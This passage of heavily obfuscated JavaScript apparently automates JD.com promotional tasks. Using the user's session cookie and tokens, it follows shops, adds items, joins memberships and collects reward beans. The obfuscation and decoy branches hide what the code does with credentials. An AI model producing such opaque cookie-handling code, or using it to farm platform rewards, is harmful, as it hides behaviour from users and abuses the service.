_0x10e5ff=res[_0x4291('30')][_0x102598];if(_0x35028e[_0x4291('121')](_0x10e5ff[_0x4291('a2')],_0x35028e[_0x4291('122')]))_0x5404dc++;if(_0x35028e[_0x4291('121')](_0x10e5ff[_0x4291('a2')],_0x35028e[_0x4291('122')]))_0x33ae07=_0x10e5ff[_0x4291('123')][_0x4291('57')]('京豆','');if(_0x35028e[_0x4291('124')](_0x10e5ff[_0x4291('a2')],_0x35028e[_0x4291('122')]))console[_0x4291('a')](''+(_0x35028e[_0x4291('125')](_0x10e5ff[_0x4291('126')],0xa)&&_0x35028e[_0x4291('127')](_0x10e5ff[_0x4291('a2')],':')||'')+_0x10e5ff[_0x4291('123')]);}if(_0x35028e[_0x4291('128')](_0x5404dc,0x0))console[_0x4291('a')](_0x4291('129')+_0x5404dc+'):'+(_0x35028e[_0x4291('12a')](_0x5404dc,_0x35028e[_0x4291('12b')](parseInt,_0x33ae07,0xa))||0x1e)+'京豆');}else if(_0x35028e[_0x4291('12c')](typeof res,_0x35028e[_0x4291('11e')])&&res[_0x4291('9a')]){if(_0x35028e[_0x4291('11b')](_0x35028e[_0x4291('12d')],_0x35028e[_0x4291('12e')])){console[_0x4291('a')](_0x4291('12f')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](''+$[_0x4291('58')](_0x1f0aa8));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{if(_0x35028e[_0x4291('130')](_0x35028e[_0x4291('131')],_0x35028e[_0x4291('132')])){console[_0x4291('a')](_0x55d36b);}else{console[_0x4291('a')](_0x35028e[_0x4291('10e')]);$[_0x4291('16')]=!![];}}}else{console[_0x4291('a')](_0x55d36b);}}else{res=$[_0x4291('d1')](_0x55d36b);if(_0x35028e[_0x4291('133')](typeof res,_0x35028e[_0x4291('11e')])&&res[_0x4291('ab')]&&_0x35028e[_0x4291('110')](res[_0x4291('ab')],!![])){if(_0x35028e[_0x4291('124')](typeof res[_0x4291('30')][_0x4291('31')],_0x35028e[_0x4291('134')]))$[_0x4291('31')]=res[_0x4291('30')][_0x4291('31')];if(_0x35028e[_0x4291('124')](typeof res[_0x4291('30')][_0x4291('33')],_0x35028e[_0x4291('134')]))$[_0x4291('33')]=res[_0x4291('30')][_0x4291('33')];}else if(_0x35028e[_0x4291('133')](typeof res,_0x35028e[_0x4291('11e')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('135')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x55d36b);}}}}else{console[_0x4291('a')](_0x2c0380[_0x4291('11a')]);$[_0x4291('16')]=!![];}}catch(_0x5dc5ec){$[_0x4291('5b')](_0x5dc5ec,_0x1dee9d);}finally{_0x35028e[_0x4291('10f')](_0x479e89);}}else{_0x2c0380[_0x4291('136')](_0x479e89);}});}else{$[_0x4291('a')](_0x4291('137')+res[_0x4291('30')][_0x4291('45')]+'个');}});}function getShareRecord(){var _0x58930b={'lohdS':function(_0x316734,_0x592193){return _0x316734>_0x592193;},'RWOGu':_0x4291('138'),'oqRWz':function(_0x59ee93,_0x44305c){return _0x59ee93+_0x44305c;},'horqw':_0x4291('5e'),'qPelB':_0x4291('5f'),'KDAoA':_0x4291('66'),'EgZJW':function(_0x2b8b36,_0x15d27a){return _0x2b8b36==_0x15d27a;},'uaUpd':_0x4291('60'),'GPIRW':function(_0x13ef5e,_0x5c9426){return _0x13ef5e===_0x5c9426;},'RJExx':_0x4291('139'),'sQElQ':function(_0x10781e,_0x1e210b){return _0x10781e!==_0x1e210b;},'HOKaO':_0x4291('13a'),'WquPo':_0x4291('13b'),'Vrpxb':function(_0x18e6af,_0x513ea6){return _0x18e6af!==_0x513ea6;},'mxeAR':_0x4291('13c'),'MrHCC':_0x4291('13d'),'EvbrX':function(_0x1ef847){return _0x1ef847();},'QGAgP':_0x4291('13e'),'yqBrr':function(_0x246d78,_0x494e7a){return _0x246d78(_0x494e7a);},'yjSzP':function(_0x4fd049,_0xe7e3f7,_0x29181f){return _0x4fd049(_0xe7e3f7,_0x29181f);},'gaBqD':_0x4291('13f')};return new Promise(_0x416751=>{var _0x1f0a96={'tGGcK':function(_0x226cd0,_0x58efa3){return _0x58930b[_0x4291('140')](_0x226cd0,_0x58efa3);},'FLLVx':_0x58930b[_0x4291('141')],'rDyOc':function(_0x4fe6d6,_0x17b1b5){return _0x58930b[_0x4291('142')](_0x4fe6d6,_0x17b1b5);},'XWbzl':_0x58930b[_0x4291('143')],'aXhFW':_0x58930b[_0x4291('144')],'hCNwR':_0x58930b[_0x4291('145')],'HQkKb':function(_0x31de42,_0x5b5dc3){return _0x58930b[_0x4291('146')](_0x31de42,_0x5b5dc3);},'adebh':_0x58930b[_0x4291('147')],'ByGxm':function(_0x442b70,_0x294104){return _0x58930b[_0x4291('148')](_0x442b70,_0x294104);},'orouM':_0x58930b[_0x4291('149')],'FGoqv':function(_0x575fd8,_0x1c723d){return _0x58930b[_0x4291('14a')](_0x575fd8,_0x1c723d);},'oYqoG':_0x58930b[_0x4291('14b')],'QOtYM':function(_0x19f310,_0x2e5a48){return _0x58930b[_0x4291('14a')](_0x19f310,_0x2e5a48);},'ggdGg':_0x58930b[_0x4291('14c')],'xwNGo':function(_0x6a011f,_0x144967){return _0x58930b[_0x4291('14d')](_0x6a011f,_0x144967);},'hwzPv':_0x58930b[_0x4291('14e')],'gKkqK':_0x58930b[_0x4291('14f')],'FJffI':function(_0x379e79){return _0x58930b[_0x4291('150')](_0x379e79);}};if(_0x58930b[_0x4291('14d')](_0x58930b[_0x4291('151')],_0x58930b[_0x4291('151')])){$[_0x4291('5b')](e,resp);}else{let _0x1b40f0=_0x4291('106')+$[_0x4291('40')]+_0x4291('107')+$[_0x4291('52')]+_0x4291('108')+_0x58930b[_0x4291('152')](encodeURIComponent,$[_0x4291('74')])+_0x4291('10a');$[_0x4291('10b')](_0x58930b[_0x4291('153')](taskPostUrl,_0x58930b[_0x4291('154')],_0x1b40f0),async(_0x25b532,_0x28161a,_0x1adc5f)=>{var _0x3e69aa={'imhgp':function(_0x5ba977,_0x2d155d){return _0x1f0a96[_0x4291('155')](_0x5ba977,_0x2d155d);},'BTUID':_0x1f0a96[_0x4291('156')],'fcdOI':function(_0x1f10d7,_0x36fae0){return _0x1f0a96[_0x4291('157')](_0x1f10d7,_0x36fae0);},'fsYbb':function(_0x361c70,_0x27363f){return _0x1f0a96[_0x4291('155')](_0x361c70,_0x27363f);},'baasA':_0x1f0a96[_0x4291('158')],'bkznm':function(_0x1c86e4,_0xe8aad0){return _0x1f0a96[_0x4291('157')](_0x1c86e4,_0xe8aad0);},'FERlf':_0x1f0a96[_0x4291('159')],'JhZrW':_0x1f0a96[_0x4291('15a')]};try{if(_0x25b532){console[_0x4291('a')](''+$[_0x4291('58')](_0x25b532));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{res=$[_0x4291('d1')](_0x1adc5f);if(_0x1f0a96[_0x4291('15b')](typeof res,_0x1f0a96[_0x4291('15c')])){if(_0x1f0a96[_0x4291('15d')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){$[_0x4291('a')](_0x4291('137')+res[_0x4291('30')][_0x4291('45')]+'个');}else if(_0x1f0a96[_0x4291('15b')](typeof res,_0x1f0a96[_0x4291('15c')])&&res[_0x4291('9a')]){if(_0x1f0a96[_0x4291('15d')](_0x1f0a96[_0x4291('15e')],_0x1f0a96[_0x4291('15e')])){console[_0x4291('a')](''+(res[_0x4291('9a')]||''));}else{let _0x1c2b71=ck[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x1c2b71[_0x4291('7c')]('=')[0x1]){if(_0x3e69aa[_0x4291('160')](_0x1c2b71[_0x4291('89')](_0x3e69aa[_0x4291('161')]),-0x1))lz_jdpin_token=_0x3e69aa[_0x4291('162')](_0x1c2b71[_0x4291('57')](/ /g,''),';');if(_0x3e69aa[_0x4291('163')](_0x1c2b71[_0x4291('89')](_0x3e69aa[_0x4291('164')]),-0x1))LZ_TOKEN_KEY=_0x3e69aa[_0x4291('165')](_0x1c2b71[_0x4291('57')](/ /g,''),';');if(_0x3e69aa[_0x4291('163')](_0x1c2b71[_0x4291('89')](_0x3e69aa[_0x4291('166')]),-0x1))LZ_TOKEN_VALUE=_0x3e69aa[_0x4291('165')](_0x1c2b71[_0x4291('57')](/ /g,''),';');}}}else{if(_0x1f0a96[_0x4291('167')](_0x1f0a96[_0x4291('168')],_0x1f0a96[_0x4291('168')])){console[_0x4291('a')](_0x1adc5f);}else{console[_0x4291('a')](_0x1adc5f);}}}else{if(_0x1f0a96[_0x4291('169')](_0x1f0a96[_0x4291('16a')],_0x1f0a96[_0x4291('16a')])){$[_0x4291('a')](_0x3e69aa[_0x4291('16b')]);return;}else{console[_0x4291('a')](_0x1adc5f);}}}}catch(_0x364a55){if(_0x1f0a96[_0x4291('16c')](_0x1f0a96[_0x4291('16d')],_0x1f0a96[_0x4291('16e')])){$[_0x4291('5b')](_0x364a55,_0x28161a);}else{$[_0x4291('16f')]=_0x1adc5f[_0x4291('ab')][_0x4291('170')]&&_0x1adc5f[_0x4291('ab')][_0x4291('170')][0x0]&&_0x1adc5f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')]&&_0x1adc5f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')][_0x4291('40')]||'';}}finally{_0x1f0a96[_0x4291('172')](_0x416751);}});}});}function addSku(){var _0x3ea31a={'WIaCl':_0x4291('71'),'GSBmM':function(_0x2b8138,_0x41d008){return _0x2b8138!=_0x41d008;},'pyNDl':_0x4291('17'),'RJCcV':function(_0x4bbb4f,_0x2230c5){return _0x4bbb4f===_0x2230c5;},'JzCcs':_0x4291('173'),'qqkoC':_0x4291('174'),'JmnQZ':_0x4291('175'),'CiJPW':_0x4291('176'),'ZHTkE':function(_0x4c2475,_0x219a92){return _0x4c2475==_0x219a92;},'UYkng':_0x4291('18'),'lcNiL':function(_0x498958,_0x579d41){return _0x498958==_0x579d41;},'YlxOX':_0x4291('60'),'Tsifd':function(_0x231e0a,_0x1c965e){return _0x231e0a||_0x1c965e;},'kVlXN':_0x4291('177'),'VYrCX':_0x4291('178'),'TFeAl':function(_0x35f908,_0x295bb9){return _0x35f908!==_0x295bb9;},'xJdXq':_0x4291('179'),'ZEhtZ':_0x4291('17a'),'eyvlH':function(_0x4a9469){return _0x4a9469();},'ByvDH':function(_0x24e132,_0x1df1c8){return _0x24e132(_0x1df1c8);},'OoWvs':function(_0x321b37,_0x1764a9,_0x1a9292){return _0x321b37(_0x1764a9,_0x1a9292);},'ijPjn':_0x4291('17b')};return new Promise(_0xe03a01=>{var _0x12717a={'GQflT':_0x3ea31a[_0x4291('17c')],'CdoGC':function(_0x4dcedc,_0x46ce86){return _0x3ea31a[_0x4291('17d')](_0x4dcedc,_0x46ce86);},'MTBcY':_0x3ea31a[_0x4291('17e')],'aZXOg':function(_0x3f3ea1,_0x29e6e5){return _0x3ea31a[_0x4291('17f')](_0x3f3ea1,_0x29e6e5);},'mHxng':_0x3ea31a[_0x4291('180')],'ivNMX':_0x3ea31a[_0x4291('181')],'OlZtB':function(_0x12bffd,_0x36e07c){return _0x3ea31a[_0x4291('17f')](_0x12bffd,_0x36e07c);},'ejbbK':_0x3ea31a[_0x4291('182')],'VYtVI':_0x3ea31a[_0x4291('183')],'iimNi':function(_0x173e58,_0x112d72){return _0x3ea31a[_0x4291('184')](_0x173e58,_0x112d72);},'EoGPu':_0x3ea31a[_0x4291('185')],'qpVLe':function(_0x4ac240,_0x2060cb){return _0x3ea31a[_0x4291('186')](_0x4ac240,_0x2060cb);},'tOANP':_0x3ea31a[_0x4291('187')],'qLsNh':function(_0x13d8bf,_0x1ce90f){return _0x3ea31a[_0x4291('188')](_0x13d8bf,_0x1ce90f);},'MRlGI':_0x3ea31a[_0x4291('189')],'aVqfi':_0x3ea31a[_0x4291('18a')],'Zyowv':function(_0x442705,_0x4e02f0){return _0x3ea31a[_0x4291('18b')](_0x442705,_0x4e02f0);},'ZRbqy':_0x3ea31a[_0x4291('18c')],'fxgmg':_0x3ea31a[_0x4291('18d')],'cIbKz':function(_0x35d53b){return _0x3ea31a[_0x4291('18e')](_0x35d53b);}};let _0x315bd5=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x3ea31a[_0x4291('18f')](encodeURIComponent,$[_0x4291('74')])+_0x4291('107')+$[_0x4291('52')]+_0x4291('190');$[_0x4291('10b')](_0x3ea31a[_0x4291('191')](taskPostUrl,_0x3ea31a[_0x4291('192')],_0x315bd5),async(_0x24d5ed,_0x361324,_0x33c1ba)=>{var _0x29bf96={'WQfZB':function(_0x162bc0,_0x46e076){return _0x12717a[_0x4291('193')](_0x162bc0,_0x46e076);},'PxvCr':_0x12717a[_0x4291('194')]};try{if(_0x12717a[_0x4291('195')](_0x12717a[_0x4291('196')],_0x12717a[_0x4291('197')])){if($[_0x4291('52')]){$[_0x4291('3e')]=$[_0x4291('52')];console[_0x4291('a')](_0x4291('c8')+$[_0x4291('3e')]);}else{console[_0x4291('a')](_0x12717a[_0x4291('198')]);return;}}else{if(_0x24d5ed){if(_0x12717a[_0x4291('199')](_0x12717a[_0x4291('19a')],_0x12717a[_0x4291('19b')])){console[_0x4291('a')](_0x33c1ba);}else{if(_0x361324[_0x4291('118')]&&_0x12717a[_0x4291('19c')](_0x361324[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x12717a[_0x4291('19d')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x24d5ed));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{res=$[_0x4291('d1')](_0x33c1ba);if(_0x12717a[_0x4291('19e')](typeof res,_0x12717a[_0x4291('19f')])){if(_0x12717a[_0x4291('199')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){let _0x54c693='';if(res[_0x4291('30')][_0x4291('1a0')]){_0x54c693=res[_0x4291('30')][_0x4291('1a0')]+'京豆';}console[_0x4291('a')](_0x4291('1a1')+_0x12717a[_0x4291('1a2')](_0x54c693,_0x12717a[_0x4291('1a3')]));}else if(_0x12717a[_0x4291('19e')](typeof res,_0x12717a[_0x4291('19f')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('1a4')+(res[_0x4291('9a')]||''));}else{if(_0x12717a[_0x4291('199')](_0x12717a[_0x4291('1a5')],_0x12717a[_0x4291('1a5')])){console[_0x4291('a')](_0x33c1ba);}else{console[_0x4291('a')](_0x4291('d6')+(res[_0x4291('d5')]||''));}}}else{console[_0x4291('a')](_0x33c1ba);}}}}catch(_0x4fb76c){$[_0x4291('5b')](_0x4fb76c,_0x361324);}finally{if(_0x12717a[_0x4291('1a6')](_0x12717a[_0x4291('1a7')],_0x12717a[_0x4291('1a8')])){_0x12717a[_0x4291('1a9')](_0xe03a01);}else{if(_0x29bf96[_0x4291('1aa')](typeof res[_0x4291('d4')],_0x29bf96[_0x4291('1ab')]))$[_0x4291('73')]=res[_0x4291('d4')];}}});});}function followShop(){var _0x25690c={'GrvuR':function(_0x290490){return _0x290490();},'lKTIg':_0x4291('18'),'HkvZX':function(_0x17925b,_0x625fa1){return _0x17925b===_0x625fa1;},'KWdbu':_0x4291('1ac'),'dKZpM':_0x4291('1ad'),'rywtE':function(_0x3ec8f4,_0xd22a3e){return _0x3ec8f4!==_0xd22a3e;},'UeHpU':_0x4291('1ae'),'rshwS':function(_0x1f6616,_0x5b59e3){return _0x1f6616==_0x5b59e3;},'MXmkZ':_0x4291('60'),'AWsFE':function(_0x553d1d,_0x28a188){return _0x553d1d===_0x28a188;},'WsDlF':_0x4291('1af'),'mOEYz':_0x4291('1b0'),'UPMeF':function(_0x803d99,_0x547cb1){return _0x803d99||_0x547cb1;},'LVorG':_0x4291('177'),'hlivX':_0x4291('1b1'),'hZLbC':_0x4291('1b2'),'ZuoiV':function(_0x2a31b3,_0xa0f9){return _0x2a31b3(_0xa0f9);},'ndwcD':function(_0x4a7440,_0x5f21a4,_0xc0d818){return _0x4a7440(_0x5f21a4,_0xc0d818);},'pgjcP':_0x4291('1b3')};return new Promise(_0x181413=>{var _0xfe0a3b={'JQuMf':function(_0x172a0f){return _0x25690c[_0x4291('1b4')](_0x172a0f);},'wKrAu':_0x25690c[_0x4291('1b5')],'eswCl':function(_0x414a9c,_0x40ca3d){return _0x25690c[_0x4291('1b6')](_0x414a9c,_0x40ca3d);},'QDSOb':_0x25690c[_0x4291('1b7')],'gysiW':_0x25690c[_0x4291('1b8')],'EIMDT':function(_0xd5a3ef,_0x41915d){return _0x25690c[_0x4291('1b9')](_0xd5a3ef,_0x41915d);},'ZwXQJ':_0x25690c[_0x4291('1ba')],'KuslX':function(_0x10b022,_0xc1b65b){return _0x25690c[_0x4291('1bb')](_0x10b022,_0xc1b65b);},'WQntC':_0x25690c[_0x4291('1bc')],'UjaRx':function(_0x481b10,_0x2393be){return _0x25690c[_0x4291('1bd')](_0x481b10,_0x2393be);},'MEtwx':_0x25690c[_0x4291('1be')],'BcBKs':_0x25690c[_0x4291('1bf')],'GquTv':function(_0x2fc9e7,_0xd1ca15){return _0x25690c[_0x4291('1c0')](_0x2fc9e7,_0xd1ca15);},'RFizs':_0x25690c[_0x4291('1c1')],'QsZCu':function(_0x21e186){return _0x25690c[_0x4291('1b4')](_0x21e186);}};if(_0x25690c[_0x4291('1bd')](_0x25690c[_0x4291('1c2')],_0x25690c[_0x4291('1c3')])){console[_0x4291('a')](''+$[_0x4291('58')](err));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{let _0xb45ee1=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x25690c[_0x4291('1c4')](encodeURIComponent,$[_0x4291('74')])+_0x4291('107')+$[_0x4291('52')]+_0x4291('43')+$[_0x4291('3e')]+_0x4291('1c5');$[_0x4291('10b')](_0x25690c[_0x4291('1c6')](taskPostUrl,_0x25690c[_0x4291('1c7')],_0xb45ee1),async(_0x1f43c7,_0x83bd5c,_0x21825e)=>{if(_0xfe0a3b[_0x4291('1c8')](_0xfe0a3b[_0x4291('1c9')],_0xfe0a3b[_0x4291('1ca')])){_0xfe0a3b[_0x4291('1cb')](_0x181413);}else{try{if(_0x1f43c7){if(_0xfe0a3b[_0x4291('1cc')](_0xfe0a3b[_0x4291('1cd')],_0xfe0a3b[_0x4291('1cd')])){console[_0x4291('a')](_0xfe0a3b[_0x4291('1ce')]);$[_0x4291('16')]=!![];}else{if(_0x83bd5c[_0x4291('118')]&&_0xfe0a3b[_0x4291('1cf')](_0x83bd5c[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0xfe0a3b[_0x4291('1ce')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x1f43c7));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{res=$[_0x4291('d1')](_0x21825e);if(_0xfe0a3b[_0x4291('1cf')](typeof res,_0xfe0a3b[_0x4291('1d0')])){if(_0xfe0a3b[_0x4291('1d1')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){let _0x2d3503='';if(res[_0x4291('30')][_0x4291('1a0')]){if(_0xfe0a3b[_0x4291('1cc')](_0xfe0a3b[_0x4291('1d2')],_0xfe0a3b[_0x4291('1d3')])){_0x2d3503=res[_0x4291('30')][_0x4291('1a0')]+'京豆';}else{$[_0x4291('5b')](e,_0x83bd5c);}}if(res[_0x4291('30')][_0x4291('1d4')]&&res[_0x4291('30')][_0x4291('1d5')]){_0x2d3503+=_0x4291('1d6')+res[_0x4291('30')][_0x4291('1d4')]+'京豆';}console[_0x4291('a')](_0x4291('1d7')+_0xfe0a3b[_0x4291('1d8')](_0x2d3503,_0xfe0a3b[_0x4291('1d9')]));}else if(_0xfe0a3b[_0x4291('1cf')](typeof res,_0xfe0a3b[_0x4291('1d0')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('99')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x21825e);}}else{console[_0x4291('a')](_0x21825e);}}}catch(_0x569111){$[_0x4291('5b')](_0x569111,_0x83bd5c);}finally{_0xfe0a3b[_0x4291('1da')](_0x181413);}}});}});}function getshopactivityId(_0x2959a2){var _0x2d31a8={'EbTkU':function(_0x437fb0,_0x55ebf9){return _0x437fb0!==_0x55ebf9;},'rCfnk':_0x4291('1db'),'TsgOx':_0x4291('1dc'),'HRrFu':function(_0x379861,_0x55b0d5){return _0x379861!==_0x55b0d5;},'WEocK':_0x4291('1dd'),'vSlHQ':function(_0x5e95a4,_0x3fd3f4){return _0x5e95a4==_0x3fd3f4;},'AYoqv':_0x4291('1de'),'mGNBm':function(_0x421267,_0x29a987){return _0x421267===_0x29a987;},'Hebho':_0x4291('1df'),'BEbbp':function(_0x55a3d2){return _0x55a3d2();},'FZjGy':_0x4291('18'),'BNfAt':function(_0x406ce7,_0x56d298){return _0x406ce7==_0x56d298;},'CEboT':_0x4291('1e0'),'dawXW':_0x4291('1e1'),'lHXjB':function(_0x530766,_0x181ba6){return _0x530766===_0x181ba6;},'mgZLG':_0x4291('1e2'),'SVHqs':function(_0x16270f,_0x5d566e){return _0x16270f(_0x5d566e);}};return new Promise(_0x51f924=>{var _0x3f474c={'VsLfy':function(_0x4e099e,_0x55f6ba){return _0x2d31a8[_0x4291('1e3')](_0x4e099e,_0x55f6ba);},'mvpKU':_0x2d31a8[_0x4291('1e4')],'ufxWV':function(_0x25b9a2,_0x4639b9){return _0x2d31a8[_0x4291('1e3')](_0x25b9a2,_0x4639b9);},'rsHaE':function(_0x56155d,_0x2615e7){return _0x2d31a8[_0x4291('1e5')](_0x56155d,_0x2615e7);},'nUNGG':_0x2d31a8[_0x4291('1e6')],'DofXR':_0x2d31a8[_0x4291('1e7')]};if(_0x2d31a8[_0x4291('1e8')](_0x2d31a8[_0x4291('1e9')],_0x2d31a8[_0x4291('1e9')])){$[_0x4291('1ea')](_0x2d31a8[_0x4291('1eb')](shopactivityId,''+_0x2959a2),async(_0x1c4489,_0x49ae2a,_0x25c68f)=>{if(_0x2d31a8[_0x4291('1ec')](_0x2d31a8[_0x4291('1ed')],_0x2d31a8[_0x4291('1ee')])){try{if(_0x2d31a8[_0x4291('1ef')](_0x2d31a8[_0x4291('1f0')],_0x2d31a8[_0x4291('1f0')])){$[_0x4291('5b')](e,_0x49ae2a);}else{_0x25c68f=JSON[_0x4291('1f1')](_0x25c68f);if(_0x2d31a8[_0x4291('1e3')](_0x25c68f[_0x4291('1f2')],!![])){if(_0x2d31a8[_0x4291('1ef')](_0x2d31a8[_0x4291('1f3')],_0x2d31a8[_0x4291('1f3')])){if(_0x49ae2a[_0x4291('118')]&&_0x3f474c[_0x4291('1f4')](_0x49ae2a[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x3f474c[_0x4291('1f5')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x1c4489));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{$[_0x4291('16f')]=_0x25c68f[_0x4291('ab')][_0x4291('170')]&&_0x25c68f[_0x4291('ab')][_0x4291('170')][0x0]&&_0x25c68f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')]&&_0x25c68f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')][_0x4291('40')]||'';}}}}catch(_0x2cc50f){$[_0x4291('5b')](_0x2cc50f,_0x49ae2a);}finally{if(_0x2d31a8[_0x4291('1f6')](_0x2d31a8[_0x4291('1f7')],_0x2d31a8[_0x4291('1f7')])){_0x2d31a8[_0x4291('1f8')](_0x51f924);}else{console[_0x4291('a')](_0x4291('1f9')+(res[_0x4291('9a')]||''));}}}else{if(_0x49ae2a[_0x4291('118')]&&_0x3f474c[_0x4291('1fa')](_0x49ae2a[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x3f474c[_0x4291('1f5')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+JSON[_0x4291('1fb')](_0x1c4489));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('1fc'));}});}else{if(_0x3f474c[_0x4291('1fd')](typeof str,_0x3f474c[_0x4291('1fe')])){try{return JSON[_0x4291('1f1')](str);}catch(_0x435356){console[_0x4291('a')](_0x435356);$[_0x4291('2b')]($[_0x4291('2c')],'',_0x3f474c[_0x4291('1ff')]);return[];}}}});}function shopactivityId(_0x38b79e){var _0x200d79={'RwtFu':_0x4291('200'),'YPNfZ':_0x4291('201'),'LzNJn':_0x4291('202'),'BCyGx':_0x4291('203'),'qcxpS':_0x4291('204')};return{'url':_0x4291('205')+_0x38b79e+_0x4291('206'),'headers':{'Content-Type':_0x200d79[_0x4291('207')],'Origin':_0x200d79[_0x4291('208')],'Host':_0x200d79[_0x4291('209')],'accept':_0x200d79[_0x4291('20a')],'User-Agent':$['UA'],'content-type':_0x200d79[_0x4291('20b')],'Referer':_0x4291('20c')+_0x38b79e+_0x4291('20d')+_0x38b79e+_0x4291('20e')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'Cookie':cookie}};}function join(_0x2b059e){var _0x2507b9={'NLfIF':function(_0x127382){return _0x127382();},'PoZGh':function(_0x225cf2,_0x39ab1f){return _0x225cf2==_0x39ab1f;},'eMzCK':_0x4291('60'),'gGCZM':function(_0x195007,_0x335b36){return _0x195007===_0x335b36;},'PpXxj':function(_0x5caba0,_0x6f8c02){return _0x5caba0===_0x6f8c02;},'jnehF':_0x4291('20f'),'dQwvg':_0x4291('210'),'VBdCx':function(_0x3533c9,_0x49ce01){return _0x3533c9!==_0x49ce01;},'nIcIs':_0x4291('211'),'uiAWN':_0x4291('212'),'welvb':function(_0x14803b,_0x569a1e){return _0x14803b==_0x569a1e;},'zRlnM':_0x4291('213'),'SiaAw':_0x4291('214'),'eEMVN':function(_0x2f0a04){return _0x2f0a04();},'zBnBa':function(_0x19280f,_0x45540f){return _0x19280f(_0x45540f);},'hsJgN':function(_0x4b62a7,_0x134111){return _0x4b62a7(_0x134111);}};return new Promise(async _0x4e73ab=>{var _0x262ce4={'hqRWz':function(_0x283a3f){return _0x2507b9[_0x4291('215')](_0x283a3f);},'embLG':function(_0x4ac2cb,_0x730ac0){return _0x2507b9[_0x4291('216')](_0x4ac2cb,_0x730ac0);},'Sanir':_0x2507b9[_0x4291('217')],'ZnFLv':function(_0x301fac,_0x42bc93){return _0x2507b9[_0x4291('218')](_0x301fac,_0x42bc93);},'INTbT':function(_0x6e24d6,_0xca5d32){return _0x2507b9[_0x4291('219')](_0x6e24d6,_0xca5d32);},'dZltA':_0x2507b9[_0x4291('21a')],'kyAKW':_0x2507b9[_0x4291('21b')],'DRWMi':function(_0x1a843c,_0x180126){return _0x2507b9[_0x4291('21c')](_0x1a843c,_0x180126);},'qMcht':_0x2507b9[_0x4291('21d')],'UtULS':_0x2507b9[_0x4291('21e')],'NLjYO':function(_0x446a73,_0x214bc8){return _0x2507b9[_0x4291('21f')](_0x446a73,_0x214bc8);},'CIepn':_0x2507b9[_0x4291('220')],'alWUI':_0x2507b9[_0x4291('221')],'ZfVUX':function(_0x2718b2){return _0x2507b9[_0x4291('222')](_0x2718b2);}};$[_0x4291('16f')]='';await $[_0x4291('94')](0x3e8);await _0x2507b9[_0x4291('223')](getshopactivityId,_0x2b059e);$[_0x4291('1ea')](_0x2507b9[_0x4291('224')](ruhui,''+_0x2b059e),async(_0x430039,_0x4ab8f1,_0x5e0a23)=>{var _0x11dcc4={'IUtrz':function(_0x1d91ee){return _0x262ce4[_0x4291('225')](_0x1d91ee);}};try{let _0x5c1580=$[_0x4291('d1')](_0x5e0a23);if(_0x262ce4[_0x4291('226')](typeof _0x5c1580,_0x262ce4[_0x4291('227')])){if(_0x262ce4[_0x4291('228')](_0x5c1580[_0x4291('1f2')],!![])){if(_0x262ce4[_0x4291('229')](_0x262ce4[_0x4291('22a')],_0x262ce4[_0x4291('22b')])){_0x11dcc4[_0x4291('22c')](_0x4e73ab);}else{console[_0x4291('a')](_0x5c1580[_0x4291('d5')]);if(_0x5c1580[_0x4291('ab')]&&_0x5c1580[_0x4291('ab')][_0x4291('ac')]){for(let _0x1bc2df of _0x5c1580[_0x4291('ab')][_0x4291('ac')][_0x4291('ad')]){if(_0x262ce4[_0x4291('22d')](_0x262ce4[_0x4291('22e')],_0x262ce4[_0x4291('22f')])){console[_0x4291('a')](_0x4291('ae')+_0x1bc2df[_0x4291('af')]+_0x1bc2df[_0x4291('b0')]+_0x1bc2df[_0x4291('b1')]);}else{console[_0x4291('a')](''+$[_0x4291('58')](_0x430039));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('230'));}}}}}else if(_0x262ce4[_0x4291('231')](typeof _0x5c1580,_0x262ce4[_0x4291('227')])&&_0x5c1580[_0x4291('d5')]){console[_0x4291('a')](''+(_0x5c1580[_0x4291('d5')]||''));}else{if(_0x262ce4[_0x4291('22d')](_0x262ce4[_0x4291('232')],_0x262ce4[_0x4291('233')])){console[_0x4291('a')](_0x5e0a23);}else{console[_0x4291('a')](_0x4291('135')+(_0x5c1580[_0x4291('9a')]||''));}}}else{console[_0x4291('a')](_0x5e0a23);}}catch(_0x498ce2){$[_0x4291('5b')](_0x498ce2,_0x4ab8f1);}finally{_0x262ce4[_0x4291('234')](_0x4e73ab);}});});}function ruhui(_0x190476){var _0x5c75c4={'tqqDb':_0x4291('200'),'RBEob':_0x4291('201'),'ivapw':_0x4291('202'),'gnaay':_0x4291('203'),'CtrEb':_0x4291('204')};let 